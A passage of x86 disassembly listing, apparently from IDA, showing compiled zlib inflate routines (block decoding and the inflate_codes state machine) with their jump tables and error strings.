		mov	[ebp+var_4], eax
		mov	eax, [ebx+30h]
		mov	[ebp+var_10], edi
		cmp	ecx, eax
		mov	[ebp+var_C], ecx
		jnb	short loc_49D272
		sub	eax, ecx
		dec	eax
		jmp	short loc_49D277
; ---------------------------------------------------------------------------

loc_49D272:				; CODE XREF: sub_49CC4B+620j
		mov	eax, [ebx+2Ch]
		sub	eax, ecx

loc_49D277:				; CODE XREF: sub_49CC4B+625j
		cmp	dword ptr [ebx+18h], 0
		mov	[ebp+var_14], eax
		jnz	loc_49D4A7
		and	dword ptr [ebx], 0
		jmp	loc_49CC8B
; ---------------------------------------------------------------------------

loc_49D28C:				; CODE XREF: sub_49CC4B+64j
		mov	eax, [ebp+arg_4]
		mov	[ebx+20h], esi
		mov	[ebx+1Ch], edi
		and	dword ptr [eax+4], 0

loc_49D299:				; CODE XREF: sub_49CC4B+6C1j
		mov	ecx, edx
		sub	ecx, [eax]
		mov	[eax], edx
		add	[eax+8], ecx
		jmp	loc_49D38C
; ---------------------------------------------------------------------------

loc_49D2A7:				; CODE XREF: sub_49CC4B+A7j
		mov	eax, [ebp+arg_4]
		mov	dword ptr [ebx], 9
		shr	esi, 3
		add	edi, 0FFFFFFFDh
		mov	dword ptr [eax+18h], offset aInvalidBlockTy ; "invalid block type"
		mov	[ebx+20h], esi
		mov	[ebx+1Ch], edi

loc_49D2C3:				; CODE XREF: sub_49CC4B+6D9j
		mov	ecx, [ebp+var_8]
		mov	[eax+4], ecx
		mov	ecx, edx
		sub	ecx, [eax]
		mov	[eax], edx
		add	[eax+8], ecx
		jmp	loc_49D546
; ---------------------------------------------------------------------------

loc_49D2D7:				; CODE XREF: sub_49CC4B+F5j
		mov	eax, [ebp+var_4]
		mov	[ebx+20h], esi
		mov	[ebx+1Ch], eax
		mov	eax, [ebp+var_8]
		mov	[edi+4], eax
		mov	eax, [ebp+var_10]
		mov	ecx, eax
		push	0FFFFFFFCh
		sub	ecx, [edi]
		mov	[edi], eax
		mov	eax, [ebp+var_C]
		push	edi
		add	[edi+8], ecx
		mov	[ebx+34h], eax
		jmp	loc_49D57A
; ---------------------------------------------------------------------------

loc_49D300:				; CODE XREF: sub_49CC4B+143j
		mov	eax, [ebp+arg_4]
		mov	[ebx+20h], esi
		mov	[ebx+1Ch], ecx
		mov	[eax+4], edi
		jmp	short loc_49D299
; ---------------------------------------------------------------------------

loc_49D30E:				; CODE XREF: sub_49CC4B+177j
		mov	eax, [ebp+arg_4]
		mov	dword ptr [ebx], 9
		mov	dword ptr [eax+18h], offset aInvalidStoredB ; "invalid stored block lengths"
		mov	[ebx+20h], esi
		mov	[ebx+1Ch], ecx
		jmp	short loc_49D2C3
; ---------------------------------------------------------------------------

loc_49D326:				; CODE XREF: sub_49CC4B+1A7j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_10]
		mov	[ebx+20h], eax
		mov	eax, [ebp+var_4]
		mov	[ebx+1Ch], eax
		mov	eax, [ebp+arg_4]
		mov	edx, ecx
		sub	edx, [eax]
		and	dword ptr [eax+4], 0
		mov	[eax], ecx
		add	[eax+8], edx
		jmp	short loc_49D38C
; ---------------------------------------------------------------------------

loc_49D347:				; CODE XREF: sub_49CC4B+242j
		mov	eax, [ebp+arg_0]
		mov	[ebx+20h], eax
		mov	eax, [ebp+var_4]
		mov	[ebx+1Ch], eax
		mov	eax, [ebp+var_8]
		mov	[esi+4], eax
		mov	eax, [ebp+var_10]
		mov	ecx, eax
		sub	ecx, [esi]
		mov	[esi], eax
		add	[esi+8], ecx
		mov	[ebx+34h], edx

loc_49D368:				; CODE XREF: sub_49CC4B+806j
		push	[ebp+arg_8]
		jmp	loc_49D522
; ---------------------------------------------------------------------------

loc_49D370:				; CODE XREF: sub_49CC4B+29Cj
		mov	eax, [ebp+arg_0]
		mov	ecx, edi
		mov	[ebx+20h], eax
		mov	eax, [ebp+var_4]
		mov	[ebx+1Ch], eax
		mov	eax, [ebp+arg_4]
		sub	ecx, [eax]
		and	dword ptr [eax+4], 0
		mov	[eax], edi
		add	[eax+8], ecx

loc_49D38C:				; CODE XREF: sub_49CC4B+657j
					; sub_49CC4B+6FAj
		mov	ecx, [ebp+var_C]
		push	[ebp+arg_8]
		mov	[ebx+34h], ecx
		jmp	loc_49D579
; ---------------------------------------------------------------------------

loc_49D39A:				; CODE XREF: sub_49CC4B+30Bj
					; sub_49CC4B+596j
		mov	eax, [ebp+arg_0]
		push	0FFFFFFFCh
		mov	[ebx+20h], eax
		mov	eax, [ebp+var_4]
		mov	[ebx+1Ch], eax
		mov	eax, [ebp+var_8]
		mov	[esi+4], eax
		mov	eax, edi
		sub	eax, [esi]
		mov	[esi], edi
		add	[esi+8], eax
		mov	eax, [ebp+var_C]
		mov	[ebx+34h], eax
		jmp	loc_49D522
; ---------------------------------------------------------------------------

loc_49D3C2:				; CODE XREF: sub_49CC4B+2D0j
					; sub_49CC4B+2E4j
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+arg_0]
		mov	dword ptr [ebx], 9
		mov	dword ptr [eax+18h], offset aTooManyLengthO ; "too many	length or distance symbols"
		mov	[ebx+20h], ecx
		mov	ecx, [ebp+var_4]
		mov	[ebx+1Ch], ecx
		mov	ecx, [ebp+var_8]
		mov	[eax+4], ecx
		mov	ecx, edi
		sub	ecx, [eax]
		mov	[eax], edi
		add	[eax+8], ecx
		jmp	loc_49D546
; ---------------------------------------------------------------------------

loc_49D3F2:				; CODE XREF: sub_49CC4B+3D2j
		cmp	[ebp+var_14], 0FFFFFFFDh

loc_49D3F6:				; CODE XREF: sub_49CC4B+857j
		jnz	short loc_49D409
		push	dword ptr [ebx+0Ch]
		push	dword ptr [esi+28h]
		call	dword ptr [esi+24h]
		pop	ecx
		mov	dword ptr [ebx], 9
		pop	ecx

loc_49D409:				; CODE XREF: sub_49CC4B:loc_49D3F6j
		mov	eax, [ebp+arg_0]
		push	[ebp+var_14]
		mov	[ebx+20h], eax
		mov	eax, [ebp+var_4]
		mov	[ebx+1Ch], eax
		mov	eax, [ebp+var_8]
		mov	[esi+4], eax
		mov	eax, edi
		sub	eax, [esi]
		mov	[esi], edi
		add	[esi+8], eax
		mov	eax, [ebp+var_C]
		mov	[ebx+34h], eax
		jmp	loc_49D522
; ---------------------------------------------------------------------------

loc_49D432:				; CODE XREF: sub_49CC4B+345j
					; sub_49CC4B+415j ...
		mov	eax, [ebp+arg_0]
		mov	[ebx+20h], eax
		mov	eax, [ebp+var_4]
		mov	[ebx+1Ch], eax
		and	dword ptr [esi+4], 0
		mov	eax, edi
		sub	eax, [esi]
		mov	[esi], edi
		add	[esi+8], eax
		mov	eax, [ebp+var_C]
		mov	[ebx+34h], eax
		jmp	loc_49D368
; ---------------------------------------------------------------------------

loc_49D456:				; CODE XREF: sub_49CC4B+4F9j
					; sub_49CC4B+508j
		push	dword ptr [ebx+0Ch]
		push	dword ptr [esi+28h]
		call	dword ptr [esi+24h]
		mov	eax, [ebp+arg_0]
		mov	dword ptr [ebx], 9
		mov	dword ptr [esi+18h], offset aInvalidBitLeng ; "invalid bit length repeat"
		mov	[ebx+20h], eax
		mov	eax, [ebp+var_4]
		push	0FFFFFFFDh
		mov	[ebx+1Ch], eax
		mov	eax, [ebp+var_8]
		mov	[esi+4], eax
		mov	eax, edi
		sub	eax, [esi]
		push	esi
		mov	[esi], edi
		push	ebx
		add	[esi+8], eax
		mov	eax, [ebp+var_C]
		mov	[ebx+34h], eax
		call	sub_49E8DE
		add	esp, 14h
		jmp	loc_49D583
; ---------------------------------------------------------------------------

loc_49D49E:				; CODE XREF: sub_49CC4B+579j
		cmp	[ebp+var_14], 0FFFFFFFDh
		jmp	loc_49D3F6
; ---------------------------------------------------------------------------

loc_49D4A7:				; CODE XREF: sub_49CC4B+633j
		mov	dword ptr [ebx], 7
		jmp	short loc_49D4B8
; ---------------------------------------------------------------------------

loc_49D4AF:				; CODE XREF: sub_49CC4B+4Bj
					; DATA XREF: _4:off_49D588o
		mov	edi, [ebp+var_10] ; jumptable 0049CC96 case 7
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+var_C]

loc_49D4B8:				; CODE XREF: sub_49CC4B+862j
		push	[ebp+arg_8]
		mov	[ebx+34h], ecx
		push	esi
		push	ebx
		call	sub_49E8DE
		mov	ecx, [ebx+34h]
		add	esp, 0Ch
		cmp	[ebx+30h], ecx
		jz	short loc_49D4F1
		mov	edx, [ebp+arg_0]
		mov	[ebx+20h], edx
		mov	edx, [ebp+var_4]
		mov	[ebx+1Ch], edx
		mov	edx, [ebp+var_8]
		mov	[esi+4], edx
		mov	edx, edi
		sub	edx, [esi]
		mov	[esi], edi
		add	[esi+8], edx
		mov	[ebx+34h], ecx

loc_49D4EE:				; CODE XREF: sub_49CC4B+5E9j
		push	eax
		jmp	short loc_49D522
; ---------------------------------------------------------------------------

loc_49D4F1:				; CODE XREF: sub_49CC4B+883j
		mov	dword ptr [ebx], 8
		jmp	short loc_49D502
; ---------------------------------------------------------------------------

loc_49D4F9:				; CODE XREF: sub_49CC4B+4Bj
					; DATA XREF: _4:off_49D588o
		mov	edi, [ebp+var_10] ; jumptable 0049CC96 case 8
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+var_C]

loc_49D502:				; CODE XREF: sub_49CC4B+8ACj
		mov	eax, [ebp+arg_0]
		push	1
		mov	[ebx+20h], eax
		mov	eax, [ebp+var_4]
		mov	[ebx+1Ch], eax
		mov	eax, [ebp+var_8]
		mov	[esi+4], eax
		mov	eax, edi
		sub	eax, [esi]
		mov	[esi], edi
		add	[esi+8], eax
		mov	[ebx+34h], ecx

loc_49D522:				; CODE XREF: sub_49CC4B+720j
					; sub_49CC4B+772j ...
		push	esi
		jmp	short loc_49D57A
; ---------------------------------------------------------------------------

loc_49D525:				; CODE XREF: sub_49CC4B+4Bj
					; DATA XREF: _4:off_49D588o
		mov	eax, [ebp+arg_0] ; jumptable 0049CC96 case 9
		mov	ecx, [ebp+var_8]
		mov	[ebx+20h], eax
		mov	eax, [ebp+var_4]
		mov	[ebx+1Ch], eax
		mov	eax, [ebp+arg_4]
		mov	[eax+4], ecx
		mov	ecx, [ebp+var_10]
		mov	edx, ecx
		sub	edx, [eax]
		mov	[eax], ecx
		add	[eax+8], edx

loc_49D546:				; CODE XREF: sub_49CC4B+687j
					; sub_49CC4B+7A2j
		mov	ecx, [ebp+var_C]
		push	0FFFFFFFDh
		mov	[ebx+34h], ecx
		jmp	short loc_49D579
; ---------------------------------------------------------------------------

loc_49D550:				; CODE XREF: sub_49CC4B+45j
		mov	eax, [ebp+arg_0] ; default
		mov	ecx, [ebp+var_8]
		mov	[ebx+20h], eax
		mov	eax, [ebp+var_4]
		mov	[ebx+1Ch], eax
		mov	eax, [ebp+arg_4]
		push	0FFFFFFFEh
		mov	[eax+4], ecx
		mov	ecx, [ebp+var_10]
		mov	edx, ecx
		sub	edx, [eax]
		mov	[eax], ecx
		mov	ecx, [ebp+var_C]
		add	[eax+8], edx
		mov	[ebx+34h], ecx

loc_49D579:				; CODE XREF: sub_49CC4B+74Aj
					; sub_49CC4B+903j
		push	eax

loc_49D57A:				; CODE XREF: sub_49CC4B+6B0j
					; sub_49CC4B+8D8j
		push	ebx
		call	sub_49E8DE
		add	esp, 0Ch

loc_49D583:				; CODE XREF: sub_49CC4B+84Ej
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_49CC4B	endp

; ---------------------------------------------------------------------------
off_49D588	dd offset loc_49CC9D	; DATA XREF: sub_49CC4B+4Br
		dd offset loc_49CD7B	; jump table for switch	statement
		dd offset loc_49CDEE
		dd offset loc_49CED8
		dd offset loc_49CF70
		dd offset loc_49D02E
		dd offset loc_49D1FD
		dd offset loc_49D4AF
		dd offset loc_49D4F9
		dd offset loc_49D525

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49D5B0	proc near		; CODE XREF: sub_49DF00+21p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_4]
		push	edi
		mov	edi, [ebp+arg_0]
		push	0
		push	esi
		push	edi
		call	sub_49CB53
		push	dword ptr [edi+28h]
		push	dword ptr [esi+28h]
		call	dword ptr [esi+24h]
		push	dword ptr [edi+24h]
		push	dword ptr [esi+28h]
		call	dword ptr [esi+24h]
		push	edi
		push	dword ptr [esi+28h]
		call	dword ptr [esi+24h]
		add	esp, 24h
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_49D5B0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49D5E6	proc near		; CODE XREF: sub_49CC4B+E8p
					; sub_49CC4B+58Cp

arg_0		= byte ptr  8
arg_4		= byte ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_10]
		push	1Ch
		push	1
		push	dword ptr [eax+28h]
		call	dword ptr [eax+20h]
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_49D618
		mov	cl, [ebp+arg_0]
		and	dword ptr [eax], 0
		mov	[eax+10h], cl
		mov	cl, [ebp+arg_4]
		mov	[eax+11h], cl
		mov	ecx, [ebp+arg_8]
		mov	[eax+14h], ecx
		mov	ecx, [ebp+arg_C]
		mov	[eax+18h], ecx

loc_49D618:				; CODE XREF: sub_49D5E6+15j
		pop	ebp
		retn
sub_49D5E6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49D61A	proc near		; CODE XREF: sub_49CC4B+5DEp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		push	edi
		mov	edi, [ebp+arg_0]
		mov	eax, [esi]
		mov	[ebp+var_4], eax
		mov	eax, [esi+4]
		mov	edx, [edi+34h]
		mov	[ebp+var_8], eax
		mov	eax, [edi+20h]
		mov	ebx, [edi+4]
		mov	[ebp+arg_4], eax
		mov	eax, [edi+1Ch]
		mov	[ebp+arg_0], eax
		mov	eax, [edi+30h]
		cmp	edx, eax
		jnb	short loc_49D652
		sub	eax, edx
		dec	eax
		jmp	short loc_49D657
; ---------------------------------------------------------------------------

loc_49D652:				; CODE XREF: sub_49D61A+31j
		mov	eax, [edi+2Ch]
		sub	eax, edx

loc_49D657:				; CODE XREF: sub_49D61A+36j
		mov	[ebp+var_C], eax

loc_49D65A:				; CODE XREF: sub_49D61A+E9j
					; sub_49D61A+16Ej ...
		mov	ecx, [ebx]
		cmp	ecx, 9		; switch 10 cases
		ja	loc_49DB7E	; default
		jmp	ds:off_49DBB0[ecx*4] ; switch jump

loc_49D66C:				; DATA XREF: _4:off_49DBB0o
		cmp	eax, 102h	; jumptable 0049D665 case 0
		jb	loc_49D708
		cmp	[ebp+var_8], 0Ah
		jb	loc_49D708
		mov	eax, [ebp+arg_4]
		push	esi
		mov	[edi+20h], eax
		mov	eax, [ebp+arg_0]
		mov	[edi+1Ch], eax
		mov	eax, [ebp+var_8]
		mov	[esi+4], eax
		mov	eax, [ebp+var_4]
		mov	ecx, eax
		push	edi
		sub	ecx, [esi]
		mov	[esi], eax
		add	[esi+8], ecx
		mov	[edi+34h], edx
		push	dword ptr [ebx+18h]
		movzx	eax, byte ptr [ebx+11h]
		push	dword ptr [ebx+14h]
		push	eax
		movzx	eax, byte ptr [ebx+10h]
		push	eax
		call	sub_49DBEB
		mov	[ebp+arg_8], eax
		mov	eax, [esi]
		mov	[ebp+var_4], eax
		mov	eax, [esi+4]
		mov	edx, [edi+34h]
		mov	[ebp+var_8], eax
		mov	eax, [edi+20h]
		add	esp, 18h
		mov	[ebp+arg_4], eax
		mov	eax, [edi+1Ch]
		mov	[ebp+arg_0], eax
		mov	eax, [edi+30h]
		cmp	edx, eax
		jnb	short loc_49D6E5
		sub	eax, edx
		dec	eax
		jmp	short loc_49D6EA
; ---------------------------------------------------------------------------

loc_49D6E5:				; CODE XREF: sub_49D61A+C4j
		mov	eax, [edi+2Ch]
		sub	eax, edx

loc_49D6EA:				; CODE XREF: sub_49D61A+C9j
		cmp	[ebp+arg_8], 0
		mov	[ebp+var_C], eax
		jz	short loc_49D708
		mov	ecx, [ebp+arg_8]
		dec	ecx
		neg	ecx
		sbb	ecx, ecx
		and	ecx, 2
		add	ecx, 7
		mov	[ebx], ecx
		jmp	loc_49D65A
; ---------------------------------------------------------------------------

loc_49D708:				; CODE XREF: sub_49D61A+57j
					; sub_49D61A+61j ...
		movzx	eax, byte ptr [ebx+10h]
		mov	[ebx+0Ch], eax
		mov	eax, [ebx+14h]
		mov	[ebx+8], eax
		mov	dword ptr [ebx], 1

loc_49D71B:				; CODE XREF: sub_49D61A+4Bj
					; sub_49D61A+12Fj
					; DATA XREF: ...
		mov	eax, [ebx+0Ch]	; jumptable 0049D665 case 1
		cmp	[ebp+arg_0], eax
		jnb	short loc_49D74B
		cmp	[ebp+var_8], 0
		jz	loc_49DA88
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		and	[ebp+arg_8], 0
		dec	[ebp+var_8]
		movzx	eax, byte ptr [eax]
		shl	eax, cl
		or	[ebp+arg_4], eax
		inc	[ebp+var_4]
		add	[ebp+arg_0], 8
		jmp	short loc_49D71B ; jumptable 0049D665 case 1
; ---------------------------------------------------------------------------

loc_49D74B:				; CODE XREF: sub_49D61A+107j
		mov	eax, ds:dword_4A1318[eax*4]
		mov	ecx, [ebx+8]
		and	eax, [ebp+arg_4]
		lea	eax, [ecx+eax*8]
		mov	[ebp+var_14], eax
		movzx	ecx, byte ptr [eax+1]
		movzx	eax, byte ptr [eax+1]
		sub	[ebp+arg_0], eax
		mov	eax, [ebp+var_14]
		shr	[ebp+arg_4], cl
		movzx	ecx, byte ptr [eax]
		test	ecx, ecx
		mov	[ebp+var_18], ecx
		jnz	short loc_49D78D
		mov	eax, [eax+4]
		mov	dword ptr [ebx], 6
		mov	[ebx+8], eax

loc_49D785:				; CODE XREF: sub_49D61A+18Dj
					; sub_49D61A+1A7j ...
		mov	eax, [ebp+var_C]
		jmp	loc_49D65A
; ---------------------------------------------------------------------------

loc_49D78D:				; CODE XREF: sub_49D61A+15Dj
		mov	ecx, [ebp+var_18]
		test	cl, 10h
		jz	short loc_49D7A9
		and	ecx, 0Fh
		mov	[ebx+8], ecx
		mov	eax, [eax+4]
		mov	[ebx+4], eax
		mov	dword ptr [ebx], 2
		jmp	short loc_49D785
; ---------------------------------------------------------------------------

loc_49D7A9:				; CODE XREF: sub_49D61A+179j
		test	cl, 40h
		jz	loc_49D89A
		test	cl, 20h
		jz	loc_49DA9A
		mov	dword ptr [ebx], 7
		jmp	short loc_49D785
; ---------------------------------------------------------------------------

loc_49D7C3:				; CODE XREF: sub_49D61A+4Bj
					; sub_49D61A+1D7j
					; DATA XREF: ...
		mov	eax, [ebx+8]	; jumptable 0049D665 case 2
		cmp	[ebp+arg_0], eax
		jnb	short loc_49D7F3
		cmp	[ebp+var_8], 0
		jz	loc_49DA88
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		and	[ebp+arg_8], 0
		dec	[ebp+var_8]
		movzx	eax, byte ptr [eax]
		shl	eax, cl
		or	[ebp+arg_4], eax
		inc	[ebp+var_4]
		add	[ebp+arg_0], 8
		jmp	short loc_49D7C3 ; jumptable 0049D665 case 2
; ---------------------------------------------------------------------------

loc_49D7F3:				; CODE XREF: sub_49D61A+1AFj
		mov	eax, ds:dword_4A1318[eax*4]
		mov	ecx, [ebx+8]
		and	eax, [ebp+arg_4]
		mov	dword ptr [ebx], 3
		shr	[ebp+arg_4], cl
		add	[ebx+4], eax
		mov	eax, ecx
		sub	[ebp+arg_0], eax
		movzx	eax, byte ptr [ebx+11h]
		mov	[ebx+0Ch], eax
		mov	eax, [ebx+18h]
		mov	[ebx+8], eax

loc_49D81E:				; CODE XREF: sub_49D61A+4Bj
					; sub_49D61A+232j
					; DATA XREF: ...
		mov	eax, [ebx+0Ch]	; jumptable 0049D665 case 3
		cmp	[ebp+arg_0], eax
		jnb	short loc_49D84E
		cmp	[ebp+var_8], 0
		jz	loc_49DA88
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		and	[ebp+arg_8], 0
		dec	[ebp+var_8]
		movzx	eax, byte ptr [eax]
		shl	eax, cl
		or	[ebp+arg_4], eax
		inc	[ebp+var_4]
		add	[ebp+arg_0], 8
		jmp	short loc_49D81E ; jumptable 0049D665 case 3
; ---------------------------------------------------------------------------

loc_49D84E:				; CODE XREF: sub_49D61A+20Aj
		mov	eax, ds:dword_4A1318[eax*4]
		mov	ecx, [ebx+8]
		and	eax, [ebp+arg_4]
		lea	eax, [ecx+eax*8]
		mov	[ebp+var_14], eax
		movzx	ecx, byte ptr [eax+1]
		movzx	eax, byte ptr [eax+1]
		sub	[ebp+arg_0], eax
		mov	eax, [ebp+var_14]
		shr	[ebp+arg_4], cl
		movzx	ecx, byte ptr [eax]
		test	cl, 10h
		jz	short loc_49D891
		and	ecx, 0Fh
		mov	[ebx+8], ecx
		mov	eax, [eax+4]
		mov	[ebx+0Ch], eax
		mov	dword ptr [ebx], 4
		jmp	loc_49D785
; ---------------------------------------------------------------------------

loc_49D891:				; CODE XREF: sub_49D61A+25Ej
		test	cl, 40h
		jnz	loc_49DACF

loc_49D89A:				; CODE XREF: sub_49D61A+192j
		mov	[ebx+0Ch], ecx
		mov	ecx, [eax+4]
		lea	eax, [eax+ecx*8]
		mov	[ebx+8], eax
		jmp	loc_49D785
; ---------------------------------------------------------------------------

loc_49D8AB:				; CODE XREF: sub_49D61A+4Bj
					; sub_49D61A+2BFj
					; DATA XREF: ...
		mov	eax, [ebx+8]	; jumptable 0049D665 case 4
		cmp	[ebp+arg_0], eax
		jnb	short loc_49D8DB
		cmp	[ebp+var_8], 0
		jz	loc_49DA88
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		and	[ebp+arg_8], 0
		dec	[ebp+var_8]
		movzx	eax, byte ptr [eax]
		shl	eax, cl
		or	[ebp+arg_4], eax
		inc	[ebp+var_4]
		add	[ebp+arg_0], 8
		jmp	short loc_49D8AB ; jumptable 0049D665 case 4
; ---------------------------------------------------------------------------

loc_49D8DB:				; CODE XREF: sub_49D61A+297j
		mov	eax, ds:dword_4A1318[eax*4]
		mov	ecx, [ebx+8]
		and	eax, [ebp+arg_4]
		mov	dword ptr [ebx], 5
		shr	[ebp+arg_4], cl
		add	[ebx+0Ch], eax
		mov	eax, ecx
		sub	[ebp+arg_0], eax

loc_49D8F9:				; CODE XREF: sub_49D61A+4Bj
					; DATA XREF: _4:off_49DBB0o
		mov	ecx, [edi+28h]	; jumptable 0049D665 case 5
		mov	eax, edx
		sub	eax, [ebx+0Ch]
		cmp	eax, ecx
		mov	[ebp+var_10], eax
		jnb	short loc_49D91E
		mov	eax, [edi+2Ch]
		sub	eax, ecx
		mov	[ebp+var_18], eax

loc_49D910:				; CODE XREF: sub_49D61A+302j
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_18]
		cmp	eax, [edi+28h]
		mov	[ebp+var_10], eax
		jb	short loc_49D910

loc_49D91E:				; CODE XREF: sub_49D61A+2ECj
		cmp	dword ptr [ebx+4], 0
		mov	eax, [ebp+var_C]
		jz	loc_49D9E3

loc_49D92B:				; CODE XREF: sub_49D61A+3C3j
		test	eax, eax
		jnz	loc_49D9B9
		mov	eax, [edi+2Ch]
		cmp	edx, eax
		mov	[ebp+var_14], eax
		jnz	short loc_49D95B
		mov	eax, [edi+30h]
		mov	ecx, [edi+28h]
		cmp	eax, ecx
		jz	short loc_49D95B
		mov	edx, ecx
		cmp	edx, eax
		jnb	short loc_49D952
		sub	eax, edx
		dec	eax
		jmp	short loc_49D957
; ---------------------------------------------------------------------------

loc_49D952:				; CODE XREF: sub_49D61A+331j
		mov	eax, [ebp+var_14]
		sub	eax, edx

loc_49D957:				; CODE XREF: sub_49D61A+336j
		test	eax, eax
		jnz	short loc_49D9B9

loc_49D95B:				; CODE XREF: sub_49D61A+321j
					; sub_49D61A+32Bj
		push	[ebp+arg_8]
		mov	[edi+34h], edx
		push	esi
		push	edi
		call	sub_49E8DE
		mov	edx, [edi+34h]
		mov	[ebp+arg_8], eax
		mov	eax, [edi+30h]
		add	esp, 0Ch
		cmp	edx, eax
		mov	[ebp+var_18], eax
		jnb	short loc_49D980
		sub	eax, edx
		dec	eax
		jmp	short loc_49D985
; ---------------------------------------------------------------------------

loc_49D980:				; CODE XREF: sub_49D61A+35Fj
		mov	eax, [edi+2Ch]
		sub	eax, edx

loc_49D985:				; CODE XREF: sub_49D61A+364j
		mov	ecx, [edi+2Ch]
		mov	[ebp+var_C], eax
		cmp	edx, ecx
		mov	[ebp+var_14], ecx
		jnz	short loc_49D9B1
		mov	ecx, [edi+28h]
		mov	eax, [ebp+var_18]
		cmp	eax, ecx
		jz	short loc_49D9AE
		mov	edx, ecx
		cmp	edx, eax
		jnb	short loc_49D9A7
		sub	eax, edx
		dec	eax
		jmp	short loc_49D9B1
; ---------------------------------------------------------------------------

loc_49D9A7:				; CODE XREF: sub_49D61A+386j
		mov	eax, [ebp+var_14]
		sub	eax, edx
		jmp	short loc_49D9B1
; ---------------------------------------------------------------------------

loc_49D9AE:				; CODE XREF: sub_49D61A+380j
		mov	eax, [ebp+var_C]

loc_49D9B1:				; CODE XREF: sub_49D61A+376j
					; sub_49D61A+38Bj ...
		test	eax, eax
		jz	loc_49DADE

loc_49D9B9:				; CODE XREF: sub_49D61A+313j
					; sub_49D61A+33Fj
		mov	ecx, [ebp+var_10]
		and	[ebp+arg_8], 0
		mov	cl, [ecx]
		mov	[edx], cl
		inc	edx
		inc	[ebp+var_10]
		dec	eax
		mov	ecx, [ebp+var_10]
		mov	[ebp+var_C], eax
		cmp	ecx, [edi+2Ch]
		jnz	short loc_49D9DA
		mov	ecx, [edi+28h]
		mov	[ebp+var_10], ecx

loc_49D9DA:				; CODE XREF: sub_49D61A+3B8j
		dec	dword ptr [ebx+4]
		jnz	loc_49D92B

loc_49D9E3:				; CODE XREF: sub_49D61A+30Bj
					; sub_49D61A+469j
		and	dword ptr [ebx], 0
		jmp	loc_49D65A
; ---------------------------------------------------------------------------

loc_49D9EB:				; CODE XREF: sub_49D61A+4Bj
					; DATA XREF: _4:off_49DBB0o
		test	eax, eax	; jumptable 0049D665 case 6
		jnz	loc_49DA75
		mov	eax, [edi+2Ch]
		cmp	edx, eax
		mov	[ebp+var_14], eax
		jnz	short loc_49DA1B
		mov	eax, [edi+30h]
		mov	ecx, [edi+28h]
		cmp	eax, ecx
		jz	short loc_49DA1B
		mov	edx, ecx
		cmp	edx, eax
		jnb	short loc_49DA12
		sub	eax, edx
		dec	eax
		jmp	short loc_49DA17
; ---------------------------------------------------------------------------

loc_49DA12:				; CODE XREF: sub_49D61A+3F1j
		mov	eax, [ebp+var_14]
		sub	eax, edx

loc_49DA17:				; CODE XREF: sub_49D61A+3F6j
		test	eax, eax
		jnz	short loc_49DA75

loc_49DA1B:				; CODE XREF: sub_49D61A+3E1j
					; sub_49D61A+3EBj
		push	[ebp+arg_8]
		mov	[edi+34h], edx
		push	esi
		push	edi
		call	sub_49E8DE
		mov	edx, [edi+34h]
		mov	[ebp+arg_8], eax
		mov	eax, [edi+30h]
		add	esp, 0Ch
		cmp	edx, eax
		mov	[ebp+var_18], eax
		jnb	short loc_49DA40
		sub	eax, edx
		dec	eax
		jmp	short loc_49DA45
; ---------------------------------------------------------------------------

loc_49DA40:				; CODE XREF: sub_49D61A+41Fj
		mov	eax, [edi+2Ch]
		sub	eax, edx

loc_49DA45:				; CODE XREF: sub_49D61A+424j
		mov	ecx, [edi+2Ch]
		mov	[ebp+var_C], eax
		cmp	edx, ecx
		mov	[ebp+var_14], ecx
		jnz	short loc_49DA71
		mov	ecx, [edi+28h]
		mov	eax, [ebp+var_18]
		cmp	eax, ecx
		jz	short loc_49DA6E
		mov	edx, ecx
		cmp	edx, eax
		jnb	short loc_49DA67
		sub	eax, edx
		dec	eax
		jmp	short loc_49DA71
; ---------------------------------------------------------------------------

loc_49DA67:				; CODE XREF: sub_49D61A+446j
		mov	eax, [ebp+var_14]
		sub	eax, edx
		jmp	short loc_49DA71
; ---------------------------------------------------------------------------

loc_49DA6E:				; CODE XREF: sub_49D61A+440j
		mov	eax, [ebp+var_C]

loc_49DA71:				; CODE XREF: sub_49D61A+436j
					; sub_49D61A+44Bj ...
		test	eax, eax
		jz	short loc_49DADE

loc_49DA75:				; CODE XREF: sub_49D61A+3D3j
					; sub_49D61A+3FFj
		mov	cl, [ebx+8]
		and	[ebp+arg_8], 0
		mov	[edx], cl
		inc	edx
		dec	eax
		mov	[ebp+var_C], eax
		jmp	loc_49D9E3
; ---------------------------------------------------------------------------

loc_49DA88:				; CODE XREF: sub_49D61A+10Dj
					; sub_49D61A+1B5j ...
		mov	eax, [ebp+arg_4]
		mov	[edi+20h], eax
		mov	eax, [ebp+arg_0]
		mov	[edi+1Ch], eax
		and	dword ptr [esi+4], 0
		jmp	short loc_49DAF0
; ---------------------------------------------------------------------------

loc_49DA9A:				; CODE XREF: sub_49D61A+19Bj
		mov	dword ptr [ebx], 9
		mov	dword ptr [esi+18h], offset aInvalidLiteral ; "invalid literal/length code"

loc_49DAA7:				; CODE XREF: sub_49D61A+4Bj
					; sub_49D61A+4C2j
